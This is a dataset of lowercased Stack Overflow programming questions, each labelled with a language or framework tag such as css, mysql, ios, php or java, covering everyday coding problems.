 codebehind= mypictureandtextwidget.ascx.cs  inherits= testingimagewtf.controls.widgets.mypictureandtextwidget  %&gt;     &lt;%@ register tagname= picture  tagprefix= widget  src= ~/controls/widgets/mypicturewidget.ascx  %&gt;      &lt;div style= background:#eeeeee; border:1px dashed; &gt;         &lt;h4&gt;my control&lt;/h4&gt;         some text from the widget ....:          &lt;br /&gt;&lt;widget:picture runat= server  /&gt;     &lt;/div&gt; </code></pre>  <h2>controls/widgets/mypicturewidget.ascx</h2>  <pre><code>    &lt;%@ control language= c#  autoeventwireup= true  codebehind= mypicturewidget.ascx.cs  inherits= testingimagewtf.controls.widgets.mywidget  %&gt;      &lt;script runat= server &gt;         protected void page_load(object sender  eventargs e)         {             image.imageurl =  ~/images/spider.png ;         }     &lt;/script&gt;     &lt;asp:image id= image  runat= server  /&gt; </code></pre>,asp.net
malloc implementation - confused  i m trying to create my own malloc() for practice. i got the code below from this <a href= https://stackoverflow.com/questions/5422061/malloc-implementation >thread.</a>   <pre><code>typedef struct free_block {     size_t size;     struct free_block* next; } free_block;  static free_block free_block_list_head = { 0  0 };  // static const size_t overhead = sizeof(size_t);  static const size_t align_to = 16;  void* malloc(size_t size) {     size = (size + sizeof(free_block) + (align_to - 1)) &amp; ~ (align_to - 1);     free_block* block = free_block_list_head.next;     free_block** head = &amp;(free_block_list_head.next);     while (block != 0) {         if (block-&gt;size &gt;= size) {             *head = block-&gt;next;             return ((char*)block) + sizeof(free_block);         }         head = &amp;(block-&gt;next);         block = block-&gt;next;     }      block = (free_block*)sbrk(size);     block-&gt;size = size;      return ((char*)block) + sizeof(free_block); }  void free(void* ptr) {     free_block* block = (free_block*)(((char*)ptr) - sizeof(free_block ));     block-&gt;next = free_block_list_head.next;     free_block_list_head.next = block; } </code></pre>   i m confused about treating memory chunks as a linked list. it seems to me that we basicaly call sbrk() everytime we need memory and we check if some of the memory that we requested before wasn t freed in the meantime.    but we have no way of checking other memory chunks that belong to other processes  we only check the memory that we requested before and added to our linked list.    if this is the case  is this optimal  is this how the standard malloc() works  is there a way for us to work with all the memory on the heap      please explain like i m 5  i m having a hard time understanding this concept.,c
css padding and margin issue  inside a td i have 2 span. the first span is a day and the second span is the month. the second span has been rotated -90 degrees. my problem is that the right span  begins  lower than the first one. the problem seems that there is a top and bottom padding on the first span eventhough i set it at 0. in addition there seem to be margins around one of those 2 span eventhough i set everything at 0. strange! so i am looking for 1/ no top and bottom padding on the first span. 2/ i would like  no space  between the 2 span. hope someone can help. thank you in advance for your help. cheers. marc.    <a href= http://cssdesk.com/tzlfn  rel= nofollow >http://cssdesk.com/tzlfn</a>    my html :   <pre><code>&lt;td&gt;   &lt;span&gt;12&lt;/span&gt;&lt;span&gt;feb&lt;/span&gt; &lt;/td&gt; </code></pre>   my css :    <pre><code>body{   font-family: arial black ;   }  td {     padding:0;     margin:0;     background-color:red;     }  span:first-child {   background-color:yellow;   padding:0;   margin:0;   font-size:30px;   }  span:last-child {   display: inline-block;   background-color:green;   font-size:12px;   padding:0;   margin:0;   -moz-transform:rotate(-90deg);   -webkit-transform: rotate(-90deg);   } </code></pre>,css
how to fetch html image from json in objective c   this is the json which i receive in message column with emoji:   <pre><code>&lt;span class=\ atwho-inserted\ &gt;&lt;img src=\ https://assets-cdn.github.com/images/icons/emoji/smile.png\  height=\ 20\  width=\ 20\ &gt;&lt;/span&gt; &lt;span class=\ atwho-inserted\ &gt;&lt;img src=\ https://assets-cdn.github.com/images/icons/emoji/person_with_blond_hair.png\  height=\ 20\  width=\ 20\ &gt;&lt;/span&gt; </code></pre>,ios
why does the .net framework tend to use  int  instead of unsigned integers   there are many places in the .net framework where int seems to be used instead of uint where one would never expect a negative number.    for example .take() in linq takes an integer. port in ipendpoint or other network classes is a signed integer. and so on.    is there a reason for this  loose  typing,.net
objc: can a large number of calls to a super method that does nothing ever cause slowness   for example  in the cocoa framework  most of the touches methods do nothing unless you implement them.  if  in all similar methods throughout my program  i call [super method:] before my custom implementation  would that ever cause realistic slowdown (hundredths of a second)     maybe a stupid question...but i ask since i don t know the low-level specifics of what a message costs.,objective-c
letterpress effect with css  i want to make a letterpress effect like this:  <img src= https://i.stack.imgur.com/fgeid.png  alt= http://img208.imageshack.us/img208/6421/letterpress.png >  in css. but i can t seem to find the right text-shadow for it.    color of the word: #2f4050 color of the background: #4f6478    i ve tried it with:   <pre><code>.letterpress {     color:#2f4050;     font-family:tahoma  helvetica  arial  sans-serif;     font-size:70px;     font-style:normal;     font-variant:normal;     font-weight:normal;     line-height:normal;     text-align:center;     text-shadow:#4f6478 0 1px 5px;  } </code></pre>   but that doesn t seem to do the trick.,css
displaying an image according to multiple values  i m trying to load an image based on a set of options. say a user selects a product with the color blue. an image will load of a blue colored product. then  say a user selects a rough finish. an image will load showing a blue product with a rough finish. i don t want to have one dropdown with all product combinations because that would be in the hundreds. i would rather it be carousels or galleries for each products variable (color  finish  size  etc) that would combine their values to display one image.    has any one seen anything like this before and can point me in the direction of a solution     <em>edit</em> - this site kind of does what i m talking about. <a href= http://www.troveline.com/windowfilm_order.php4  rel= nofollow >http://www.troveline.com/windowfilm_order.php4</a>,jquery
how to change the server response header in asp.net2.0 with iis6.0 server  how to modify the server values of response header through code behind using asp.net 2.0 with iis6.0 server.    i have tried <code>response.headers.set( xyz   abc );</code> but it displays throw integrated pipeline error.,asp.net
angular - can i access a controller s variable in a module   in my angular app  if a user is logged in i do not want them to be able to got the <code>login</code> page.    in my main controller i have a method <code>isauthed()</code> that returns a boolean informing me of this status. however how do i access it in my <code>ngroute</code> module. i m using the code below:   <pre><code>.when( /login               {               templateurl:  views/login.html                 controller:  main                 controlleras:  main                 resolve:{                  check :function($location){                     if($scope.main.isauthed()){                         $location.path( / );                     }                 }             }             } ) </code></pre>   solution:    i needed to add it in as a service:   <pre><code>.when( /login               {               templateurl:  views/login.html                 controller:  main                 controlleras:  main                 resolve:{                  check :function($location  authservice){                     if(authservice.isauthed()){                         $location.path( / );                     }                 }             }             } ) </code></pre>,angularjs
compiler error when trying to instantiate my own class  i am trying to create an instance of a class  <code>dog</code>  but the compiler does not recognize the class and won t instantiate it. i tried copying the initializers from <code>pet</code>  the superclass  into <code>dog</code>  but that didn t make it work. why can t i instantiate the <code>dog</code> object      pet.h   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface pet : nsobject {     // some ivars }  //randomizer +(id)randompet;  //initializer  -(id)initname:(nsstring *)name initcolor:(nsstring *)color initbreed:(nsstring *)breed;  // getters and setters...  @end </code></pre>   pet.m   <pre><code>#import  pet.h   @implementation pet  +(id)randompet {    // empty  }  -(id)initname:(nsstring *)name     initcolor:(nsstring *)color     initbreed:(nsstring *)breed; {     self = [super init];     if(self)     {         // initialization...     }     return self;  }  @end </code></pre>   dog.h   <pre><code>#import  pet.h   @interface dog : pet -(id)initname:(nsstring *)name initcolor:(nsstring *)color     initbreed:(nsstring *)breed;  // getters and setters... @end </code></pre>   dog.m   <pre><code>#import  dog.h   @implementation dog  +(id)randompet {     // snip... }  - (id)initname:(nsstring *)name         initcolor:(nsstring *)color         initbreed:(nsstring *)breed; {     self = [super init];     if(self) {         // initialization...     }     return self; } </code></pre>   main.m   <pre><code>#import &lt;foundation/foundation.h&gt; #import  pet.h  int main(int argc  const char * argv[]) {      @autoreleasepool     {         dog *d = [[dog alloc] init]];     }     return 0; } </code></pre>,objective-c
find which view was clicked  i have a view controller where there are several uiview object. i need to know on which uiview user have tapped. how is this possible  any guidance will help a lot....    thanks<br> pankaj,iphone
how to use a method from another class  i want to add this method ( which is located in my houses class)    <pre><code>public void step() {     for (int i = 0; i &lt; size; i++) {         for (int j = 0; j &lt; size; j++) {             // who are my neighbors             house[][] ns = neighbors(houses[i][j]);              // how many are red  blue             int countred = 0;             int countblue = 0;             for (int n = 0; n &lt; 8; n++) {                 if (ns[j][j].who == housetype.red) {                     countred = countred + 1;                 }                 if (ns[j][j].who == housetype.blue) {                     countblue = countblue + 1;                 }             }             // decide to stay or move             if (houses[i][j].decide(countred  countblue)) {                 houses[i][j].move(ns);             }         }     } } </code></pre>   to this class ( ghetto class which is my main class)    <pre><code>    startbutton = new jbutton( start );     add(startbutton);     startbutton.addactionlistener(new actionlistener() {         @override         public void actionperformed(actionevent e) {             // create a timer             time = new javax.swing.timer((int) (1000 * deltat)  this);             time.start();             // add a listener for the timer - which is the step method             if (e.getsource() == time)              {                 houses h = new houses();                 h.step();                 //houses.step();             }          }     }); </code></pre>   so what i want is that to use the step method (that is located in my houses class ) in my main class ghetto  here where it is giving the error:   <pre><code>           houses h = new houses();            h.step(); </code></pre>   it says the constructor houses() is undefined.,java
is this a correct approach to connect screens   i am a .net programmer and last week i started to read about objective-c. class related stuff are kinda clear and today i learnt about protocols and delegates  i can t say it is 100% clear but i got it  it looks a lot with delegates and events from c#.    this is a simple example i created following a tutorial. it is all about 2 screens  the first one(a label and a button) launches the second one(a textbox and a button) which sends back a string. i think of it as a classic example of using events  no matter the programming language.   <pre><code>#import &lt;uikit/uikit.h&gt; #import  valueviewcontroller.h   @interface viewcontroller : uiviewcontroller&lt;valueviewcontrollerdelegate&gt;  - (ibaction)btngetvalue:(id)sender;  @property (weak  nonatomic) iboutlet uilabel *lblcurrentvalue;  @end  #import  viewcontroller.h  #import  valueviewcontroller.h   @interface viewcontroller ()  @end  @implementation viewcontroller  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  - (ibaction)btngetvalue:(id)sender {     valueviewcontroller *valuevc = [self.storyboard instantiateviewcontrollerwithidentifier:@ valueviewcontroller ];     valuevc.delegate=self;     [self presentviewcontroller:valuevc animated:false completion:nil]; }  -(void) sendvalue:(valueviewcontroller *)controller didfihishwithvalue:(nsstring *)value {     self.lblcurrentvalue.text=value; }  @end   #import &lt;uikit/uikit.h&gt;  @class valueviewcontroller;  @protocol valueviewcontrollerdelegate&lt;nsobject&gt;  -(void) sendvalue:(valueviewcontroller*) controller didfihishwithvalue:(nsstring*) value;  @end  @interface valueviewcontroller : uiviewcontroller&lt;uitextfielddelegate&gt;  @property (weak  nonatomic) iboutlet uitextfield *txtvalue;  - (ibaction)btnsetvalue:(id)sender;  @property (weak  nonatomic) id&lt;valueviewcontrollerdelegate&gt; delegate;  @end  #import  valueviewcontroller.h   @interface valueviewcontroller ()   @end  @implementation valueviewcontroller  - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     self = [super initwithnibname:nibnameornil bundle:nibbundleornil];     if (self) {         // custom initialization     }     return self; }  - (void)viewdidload {     [super viewdidload];     self.txtvalue.delegate=self; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  -(bool)textfieldshouldreturn:(uitextfield *)textfield {     return [textfield resignfirstresponder]; }  - (ibaction)btnsetvalue:(id)sender {     [self.delegate sendvalue:self didfihishwithvalue:self.txtvalue.text];      [self dismissviewcontrolleranimated:false completion:nil]; } @end </code></pre>   my question is the following: considering a  let s say  30 screens application  which allows sending and receiving messages  adding friends   etc is it a good approach to group those 4-5 message view controller into a storyboard  those friends related view controllers into another storyboard and just make the connection like i did in that simple example  programmatically     i saw that connections can be done in the designer without writing code  but sometimes i think you have to write code to send some arguments which means mixing the two(graphically and programmatically).  i just feel more comfortable  doing it programatically  maybe because this is how i do it in c#.    i am looking forward to you tips regarding organizing and making connections between screens.    ps: sorry for writing such a long story(board) in here  i promise to make it shorter in my following posts.    thanks.,objective-c
how do i ensure saved click coordinates can be reloaed to the same place  even if the page layout changed   i m storing click coordinates in my db and then reloading them later and showing them on the site where the click happened  how do i make sure it loads in the same place     storing the click coordinates is obviously the simple step  but once i have them if the user comes back and their window is smaller or larger the coordinates are wrong. am i going about this in the wrong way  should i also store an element id/dom reference or something of that nature.    also  this script will be run over many different websites with more than one layout. is there a way to do this where the layout is independent of how the coordinates are stored,javascript
combining 2 not like statements in sql  i have a formula where i have a column for region and a column for district (a region is made up of districts)  in the formula i have some pieces of code to exclude certain regions as a whole. but some i need to only exclude a few districts from some regions but not all. the where portion of the code looks like this: in the code i want to exclude all of region 100 and region 76  but for region 88 i only want to exclude district 04 but when i type the code like this it stil excludes all of 88. (there is no group by in this code)   <pre><code>select id  date  class  location  training number from table 1 inner join table 2 on training number      where (region not like  100 ) and        (region not like  76 ) and        (region not like  88 ) and        (district not like  04 ) </code></pre>,sql
css floating problem: how to get a left float to wrap around a right float  have a box that displays images wrapped in a div from a database 4 across x 4 high. the image are floating to the left so they self wrap. but i want to add an object (a div) to the top right and have the images wrap around (so only 3 in the first row  then 4 every row after). i ve tried using float right  absolute  relative and nothing gets it to display correctly.    any tips     edit (code):    i add the div first then the images  what happens is that the div pushes the image that would otherwise be in the 4th spot down out of the way  doesn t wrap it.    this is my goal:   <pre><code>| image(in div)  image(in div)   image(in div)    div   | | image(in div)  image(in div)   image(in div)    image(in div) | | image(in div)  image(in div)   image(in div)    image(in div) | | image(in div)  image(in div)   image(in div)    image(in div) | </code></pre>   images:   <pre><code>position:relative; float:left; height:200px; width:200px; </code></pre>   div:   <pre><code>position:relative; float:right; height:200px; width:200px; </code></pre>,css
std::clock() and clocks_per_sec  i want to use a timer function in my program. following the example at <a href= https://stackoverflow.com/questions/3220477/how-to-use-clock-in-c >how to use clock() in c++</a>  my code is:   <pre><code>int main() {     std::clock_t start = std::clock();      while (true)     {         double time = (std::clock() - start) / (double)clocks_per_sec;         std::cout &lt;&lt; time &lt;&lt; std::endl;     }      return 0; } </code></pre>   on running this  it begins to print out numbers. however  it takes about 15 seconds for that number to reach 1. why does it not take 1 second for the printed number to reach 1,c++
adding multiple records in linked lists  i have basically two queries. first this code is working fine i just want to print the results and second this program enters only one record. i want to save a complete address book of a record like name contact. for that i will have to give separate struct pointer for every field  please help me out.   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; #include&lt;stdlib.h&gt;  struct node {    int data;    struct node *link; } *head=null;  void inserfirst();  int main() {     insertfirst();     getch();     return 0; }  void insertfirst() {      int item;      struct node *ptr;      scanf( %d  &amp;item);      if (head==null) {          head=(struct node*)malloc(sizeof(struct node));          head-&gt;data=item;          head-&gt;link=null;      } else {          ptr=head;          head=(struct node*)malloc(sizeof(struct node));          head-&gt;data=item;          head-&gt;link=ptr;      } } </code></pre>,c
select query for search words in mysql table column words  i have mysql table and columns like below   <pre><code>  col1   col2    col3       id     test   drive   italy      1     meat   foreign italian    2     meats  fresh   car italy  3     italy  meats   vegetarian 4     italy  wine    rain       5 </code></pre>   i need a select query for above table on words search..for example    if i search like  italy meats   i should be get output:   <pre><code>2 3 4 id s </code></pre>   if i search like  vegetarian italy meats  it should be get output   <pre><code>4 only </code></pre>,mysql
query with 2 left join count() takes 30s to execute  i have the following 3 tables:    <ol> <li>giveaway_steps_done</li> <li>giveaways_entries </li> <li>giveaway_steps</li> </ol>   giveaway_steps_done   <pre><code>id      step_unique_alone </code></pre>   giveaways_entries    <pre><code>id      giveaway_step_unique </code></pre>   giveaway_steps   <pre><code>id      step_unique_alone </code></pre>   the query list all records from <code>giveaway_steps</code>  then it counts the <code>giveaway_steps_done</code> records based on <code>step_unique_alone</code>. after that it counts <code>giveaways_entries</code> records based on <code>giveaway_step_unique</code>.    the sql query works well  but not in the proper way  as it takes 30s to execute and display.     <code>giveaway_steps_done</code> has 7000 records.  <code>giveaways_entries</code> has 6800 records. <code>giveaway_steps</code> has 170 records.    query:    <pre><code>select giveaway_steps.*          count(distinct giveaway_steps_done.id) as total_steps_count          count(distinct giveaways_entries.id)   as total_steps_correct_count  from   giveaway_steps         left join giveaway_steps_done                on ( giveaway_steps_done.step_unique_alone =                     giveaway_steps.step_unique_alone )         left join giveaways_entries                on ( giveaways_entries.giveaway_step_unique =                     giveaway_steps.step_unique_alone )  group  by giveaway_steps.id  order  by giveaway_steps.id desc  </code></pre>   sample / expected   <pre><code>id       (giveaway_steps details)  total_steps_count    total_steps_correct_count  1        blabla  3                                      3 2        blabla  5                                      1 3        blabla  34                                     22 4        blabla  52                                     53 5        blabla  13                                     10 </code></pre>   the data is correct  but it takes a lot of time. i just want to do a better time/resources consuming query.    how-to redo the issue:    <ol> <li>create three tables as stated above.</li> <li>add the cols as stated above.</li> <li>add 10/15 records to <code>giveaway_steps</code> with different <code>step_unique_alone</code>.</li> <li>add random data to the other tables  and their <code>step_unique_alone</code> / <code>giveaway_step_unique</code> must match one of those records in <code>giveaway_steps</code>. </li> </ol>   *the issue is  the query takes time using left join and count().,mysql
i have a code like this  need a solution to add contact address in loop <pre><code>contactnumber = userdefaults.standard.value(forkey:  contactnumber ) as! string contactname = userdefaults.standard.value(forkey:  contactname ) as! string contactaddress = userdefaults.standard.value(forkey:  contactaddress ) as! string //contactaddress = userdefaults.standard.value(forkey:  contactaddress ) as!string self.title = (userdefaults.standard.value(forkey:  selctedcity ) as! string)  if !(contactname.isempty){     if contactnumber.isempty == false{                        contactdetaildictionary.setvalue(contactnumber  forkey:  contactname )         contactdetailkeyarray = [contactname]         self.finalcategorytitlelbl.text = contactname         } else {         contactdetailkeyarray = [ not available ]         //                contactdetaildictionary.setvalue( no number available   forkey:  contactname )     } } else {      let key = userdefaults.standard.value(forkey:  contactdetailkey )     if let contactdict = userdefaults.standard.value(forkey: key as! string){         contactdetaildictionary = contactdict as! nsdictionary    }     contactdetailkeyarray = contactdetaildictionary.allkeys as nsarray     self.finalcategorytitlelbl.text = (key as! string) }  self.tableview.tablefooterview = uiview() self.tableview.reloaddata() // do any additional setup after loading the view. }  override func didreceivememorywarning() {     super.didreceivememorywarning()     // dispose of any resources that can be recreated. }  override func viewwilldisappear(_ animated: bool) {     userdefaults.standard.set(    forkey:  contactname )     userdefaults.standard.set(    forkey:  contactnumber )    // userdefaults.standard.set(    forkey:  contactaddress )     //        userdefaults.standard.removeobject(forkey:  contactnumber )     //        userdefaults.standard.removeobject(forkey:  contactname ) } </code></pre>,ios
recursively read directories and selectively get contents  i m trying to figure out the best way to pull out the contents of all directories called  thumbs  from within a parent directory. it looks like using directoryiterator is a better approach than scandir  although i m not 100% sure. i m basically trying to grab all thumbnails from within a gallery  so i want to ignore any directories which aren t named  thumbs . can anyone advise the best way to go about this  many thanks,php
php regex for username   hello i m trying to parse string chars to prevent sql injection and other hacks. i don t want to use mysql_real_escape_string or other filters. i want to just use a regex and have characters a-z 0-9 !@#$-_    i mean i could use a regex such as:   <pre><code>$newstr = preg_replace( /[^a-z0-9]/i    _   $str); </code></pre>   but i just want to be safe and i m not very good at regex. thanks again guys  you really are awesome.,php
sort arrays can t get method to work  a tag is a keyword or label that categorizes your question with other  similar questions.a tag is a keyword or label that categorizes your question with other  similar questions.,c
join tables with different times  i am very(very) new to programming and i want to join two tables. if i am doing the queries separately it works but i am having problem when joining them. here s what i did so far:   <pre><code>select distinct(mch_code) as machine  count(sell) as sells from sells where status =  sold  and subcode =  t    and time &gt;= 2017-09-14 07:00:00  and store_code = a101  group by mch_code </code></pre>   the second one:   <pre><code>select distinct(mch_code) as machine   count(barcodes) as scanned from scanned_table where time_stamp &gt;=  2017-09-14 07:00:00  and store_code = a101   group by mch_code </code></pre>   and this is what i got so far:   <pre><code>select distinct (dc.mch_code) as machine  count(dc.sell) as sells  count(barcodes) as scanned from sells as dc inner join scanned_table as tr on dc.store_code = tr.store_code where dc.status =  sold  and dc.subcode =  t    and dc.time &gt;= 2017-09-14 07:00:00  and dc.store_code = a101  group by dc.mch_code </code></pre>   i should get something like machine sells scanned but when i join the tables the values are not the same. is it because the times  how can properly join the tables,sql
extracting 2 numbers from a 1 to 4 digit number  here is what i need to do:    i am given an int that is from 0 to 9999.    what i need to do is imagine that this int is 0 padded to 4 digits:   <pre><code>4 -&gt; 0004 675 -&gt; 0675 etc </code></pre>   i need to then extract the first 2 digits into an int and the last 2 into an int:   <pre><code>4 -&gt; (0 4) 675 -&gt; (6 75) 8976 -&gt; (89 76) </code></pre>   i m just not sure how to go about doing this in obj-c.    thanks,objective-c
scroll percentage is not working but code is good  i want to get max percentage of scroll in main window. i tried to use that code but i get only strange numbers like 5223  23000  800:   <pre><code>var scrollmax=0; $( window ).scroll(function() {     var scrollpercent = 100 * $(window).scrolltop() / ($(document).height() - $(window).height());     //if(scrollpercent&gt;scrollmax)     scrollmax=scrollpercent; }); </code></pre>   is anything bad here  it is working in that example: <a href= http://jsfiddle.net/snjxq/2/  rel= nofollow >http://jsfiddle.net/snjxq/2/</a>,jquery
how to handle push notification by the kind of notification  i want to handle the notification  in my app i have 2 tabs(friends jobs) with navigation controller and a barbutton on each navigation controller named  notification (on click it displays tableview). on notification  if its job related it shud open the page linked to barbutton on jobs tab and if it is friends related it shud open the page linked to barbutton on friends tab.,iphone
how do i show the image as selected on touch of a particualr image   i am using image adapter along with grid view to display certain images with caption.     after user touch an image then press a button this image is loaded on the next screen.  right now when a user touch an image it does not show as being selected.     i want to know is there a way to show selected image after a user touch a particular image.    please help me on this    thanks    pankaj,android
== vs. object.equals(object) in .net  so  when i was a comparative novice to the novice i am right now  i used to think that these two things were syntactic sugar for each other  i.e. that using one over the other was simply a personal preference. over time  i m come to find that these two are not the same thing  even in a default implementation (see <a href= http://blogs.msdn.com/jmstall/archive/2005/03/06/386064.aspx  rel= noreferrer >this</a> and <a href= http://blogs.msdn.com/jmstall/archive/2005/03/12/394645.aspx  rel= noreferrer >this</a>). to further confuse the matter  each can be overridden/overloaded separately to have completely different meanings.     is this a good thing  what are the differences  and when/why should you use one over the other,.net
the specified size exceeds the maximum representable size  i m compiling the android projects in <code>final builder</code>.the following error occurs eventhough i have installed the <code>java 64bit version</code>.   <pre><code>error: could not create the java virtual machine. error: a fatal exception has occurred. program will exit. invalid initial heap size: -xms4096m the specified size exceeds the maximum representable size. program returned code  : 1 </code></pre>,java
what is res://*/ in .net   i came across this snippet of code on msdn:   <pre><code>entitybuilder.metadata = @ res://*/adventureworksmodel.csdl|                             res://*/adventureworksmodel.ssdl|                             res://*/adventureworksmodel.msl ; </code></pre>   what does the <code>res://*/</code> mean and how does it work  i think it has to do with resource files  but i am not sure.    google is no help because of the punctuation.,.net
are single quotes allowed in html   i am a big time user of using double quotes in php so that i can interpolate variables rather than concatenating strings. as a result  when i am generating html i often use single quotes for setting tag fields. for example:   <pre><code>$html =  &lt;input type= text  name= address  value= $address &gt; ; </code></pre>   now this is far more readable to me than either   <pre><code>$html =  &lt;input type=\ text\  name=\ address\  value=\ $address\ &gt; ; </code></pre>   or   <pre><code>$html =  &lt;input type= text  name= address  values=   . $address .   &gt;  ; </code></pre>   from brief searches i have heard people saying that single quotes for html fields is not recognized by every browser. thus i am wondering what browsers would have problems recognizing single quote html,html
i have a web page. i want to show blank page when user tries to see the source code of the web page. how can i do it   i have a web page. i want to show the blank page when the user tries to see the source code of the web page. how can i do it,html
disable a dynamicly added control  here is the code that works just fine to create my controls   <pre><code>function mycallback(data) {        $.each(data.user  function (i data) {            $( &lt;div&gt; +data.id+ &lt;/div&gt; ).attr( id  data.id).appendto( #page_14_14 );          var ctrl = $( &lt;input/&gt; ).attr({ type:  text   name: text   value:data.email   id:data.id }).addclass( text );          $(ctrl).appendto( # +data.id);         document.getelementbyid(data.id).disable;   });       } </code></pre>   but i want my text input zone to be disabled and i tried many ways but its  not working help please,jquery
same name objects accessibility within scope  i would like to be able to do this in same scope  if possible:   <pre><code>class blah(object):     def test(self):         print  test   blah = blah() #global  def test(blah= test )     print blah     print  test 2:  + blah.test()  test() </code></pre>   thanks for any feedback.    *looking for possible way (hack or otherwise) to make  blah  execute  test()  without changing the parameter  blah .,python
android  difference between longpress home and home  in my app  i ve noticed a difference when using the home button.    ex. i press app icon  and the app starts op like it should with activity(a). when i press home button  the app gets minimized as it should. when i press app icon again  the app resumes with onresume() with activity(a)    now for the tricky part. from the app  when i press my  start button  another activity(b) is launched  and focus is changed to the new activity(b). when i press home  the app minimizes (like its supposed to).    and now for the problem: if i press the app icon  my app starts op from the very beginning with activity(a) where my start button is. (and not with activityb which i just minimized) if i do the scenario over again (start app - > focus to activity(b) -> press home) and this time long press the home button  and the  recently launched  comes op  and i select my app. now the focus resumes to activity(b)    both activity(a) and activity(b) are set to singletop.    my question is  why is there a difference when using the different combinations of longpress home + icon and oneclick home + icon,android
how did google music for ios access data from another ios app   today i downloaded the new google music app for ios and it immediately had me signed in already. i assume they accomplished this using one of the other google apps on my phone. to keep this appropriate for stackoverflow  here s the question  specific and objective:    how (technically) can an app (like google music) authenticate a user using data from another app (like google search or google chrome)  i was under the impression that apps in ios were entirely sand boxed.    i m very curious in finding a technical explanation for this  so if someone could recommend a way to rephrase or retag the question  please feel free to edit or migrate.,ios
am i taking a risk if i give a distributor an unsigned apk   a distributor is asking for an unsigned version of my app s apk. is there some security risk i am taking if i give it to him  i m not really sure of the purpose of the signature.,android
timediff of same field having same id  supposed i have the fields as below:   <pre><code>id   fromstatus    time                   tostatus 1    ready         2016-08-05 08:36:27    break 1    break         2016-08-05 08:36:37    ready 1    ready         2016-08-05 08:40:27    break 1    break         2016-08-05 08:40:37    ready </code></pre>   how can i get the total time difference between the break status to ready status output should be   <pre><code>id   totalbreaktime 1    00:00:20 </code></pre>,mysql
how to trigger a calayer s animation group on a trigger   i have an animation on a calayer which repeats indefinitely however i want to change it such that the animation is triggered by a certain timing event.    i can get it to work by removing and re-adding the animation event when the trigger occurs but this seems a bit kludgy  is there an alternative way without having to constantly remove and add the animation all the time     here s the code in sketch form:   <pre><code>- (void) init {     ….     calayer *sublayer = …     [self.layer addsublayer:sublayer];     [self createanimationgroup];     [sublayer addanimation: self.animationgroup forkey:@ mykey ]; }  - (void) createanimationgroup {  camediatimingfunction *defaultcurve = [camediatimingfunction functionwithname:kcamediatimingfunctiondefault];     self.animationgroup = [caanimationgroup animation];     self.animationgroup.repeatcount = 0.0f; // was previously infinity;     &lt;snip&gt;    nsarray *animations = @[scaleanimation  opacityanimation];     self.animationgroup.animations = animations; }   - (void) ontrigger {     [self.layer.sublayers[0] removeanimationforkey:@ mykey ];     [self.layer.sublayers[0] addanimation:self.animationgroup forkey:@ mykey ]; } </code></pre>   my question is is the way i have implemented ontrigger ok  it works  but is there a way of triggering the animation directly rather than indirectly via removing and adding it,ios
static object array <pre><code>public class array                                                                {     static string[] a = new string[] { red    green    blue };     static point[] p = new point[] {new point(1  2)   3 4 };      public static void main(string[] args)     {         system.out.println( hello );     }      class point     {         int x;         int y;          point(int x  int y)         {             this.x = x;             this.y = y;         }          point(string s)         {             string[] a = s.split(   );             x = a[0].parseint();             y = a[1].parseint();         }     } } </code></pre>   in the above program  the static <code>point</code> array initialization fails  reporting error:   <pre><code>array.java:4: non-static variable this cannot be referenced from a static context     static point[] p = new point[] {new point(1  2)   3 4 };   </code></pre>   but  the static <code>string</code> array succeeds. what s the difference between them     i really need a static object array  because it s easy to refer to without instantiate the outer class.    thanks,java
mysql - how to make a statement and ifnull  how do i make this statement <code>and ifnull</code>     <code>timestampdiff(year a.date_of_birth curdate()) &gt;=     and timestampdiff(year a.date_of_birth curdate()) &lt;=   </code>:    using <code>and</code> or <code>or</code> only messes my select statement.,mysql
how to validate form angular with attribute in object   this is code we can validate in normal function:   <pre><code>&lt;p&gt;username:&lt;br&gt;   &lt;input type= text  name= username  ng-model= username  required&gt;   &lt;span style= color:red  ng-show= articleform.username.$dirty &amp;&amp; articleform.username.$invalid &gt;   &lt;span ng-show= articleform.username.$error.required &gt;username is required.&lt;/span&gt;   &lt;/span&gt; &lt;/p&gt; </code></pre>   but when i have title field that have code:   <pre><code>&lt;header class= list-group-item-text &gt;   &lt;label&gt;title&lt;/label&gt;   &lt;input type= text  name= title  ng-model= $parent.mopost.title  class= form-control  required&gt;   &lt;span class= help-inline  ng-show= articleform.$parent.mopost.title.$error.required &gt;required&lt;/span&gt; &lt;/header&gt; </code></pre>   and controller:   <pre><code>$scope.mopost = {title:   content1:   content2:   linkaudio:  }; </code></pre>   now validate in angular  it does not operate. how i can validate attribute of object same above.,angularjs
is it valid html to insert a hidden input between table rows   background: i am writing a java app which auto generates a html table. as well as adding table rows  this app may insert hidden inputs. however  at present it simply inserts them into the table at the next opportunity  for example:   <pre><code>&lt;table&gt;     &lt;tr&gt; ... &lt;/tr&gt;     &lt;input type= hidden  /&gt;     &lt;tr&gt; ... &lt;/tr&gt; &lt;/table&gt; </code></pre>   so  my question: is it valid html to insert a hidden input between rows like this  or is this likely to cause problems,html
php 7.0 mktime not working  getting months using mktime not working in php 7.0.   <pre><code>    $month_options=  ;     for( $i = 1; $i &lt;= 12; $i++ ) {         $month_num = str_pad( $i  2  0  str_pad_left );         $month_name = date(  f   mktime( 0  0  0  $i + 1  0  0  0 ));         $selected=  ;         $month_options.$month_name. &lt;br/&gt; ;     }     echo $month_options; </code></pre>   <strong>result in php 5.5</strong>   <pre><code>january february march april may june july august september october november december </code></pre>   <strong>result in 7.0</strong>   <pre><code>january january january january january january january january january january january </code></pre>   please help me how to reslove this issue ..thanks in advance,php
